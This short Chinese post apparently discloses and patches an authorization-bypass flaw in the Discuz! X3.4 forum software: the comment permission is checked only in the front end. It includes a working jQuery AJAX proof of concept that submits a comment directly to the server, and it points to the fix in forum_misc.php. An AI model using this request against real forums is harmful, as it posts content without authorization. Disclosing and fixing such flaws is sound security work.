这是 DZ 长期存在的一个漏洞,原以为 X3.4 早就修复了,偶然测试下居然成功了 =_=||| 诶呀呀,那就赶紧来修复吧。

漏洞原理:
虽然前端页面对“点评”功能做了权限验证,但是后台“POST”没有做验证,所以我们可以模拟提交、绕过点评权限。

复现方法:
浏览器控制台运行如下代码(tid、pid、formhash 按需修改即可):

jQuery.ajax({
    url: "forum.php?mod=post&action=reply&comment=yes&tid=3&pid=8&extra=page%3D1&page=1&commentsubmit=yes&infloat=yes",
    type: "post",
    async: true,
    data: {
        "formhash": "1234ba56",
        "handlekey": "comment",
        "message": "测试越权发布内容"
    },
    dataType: "text",
    success: function (data) { alert("发布成功!"); }
});

解决方案:
追加验证代码,引用自文件 source/module/forum/forum_misc.php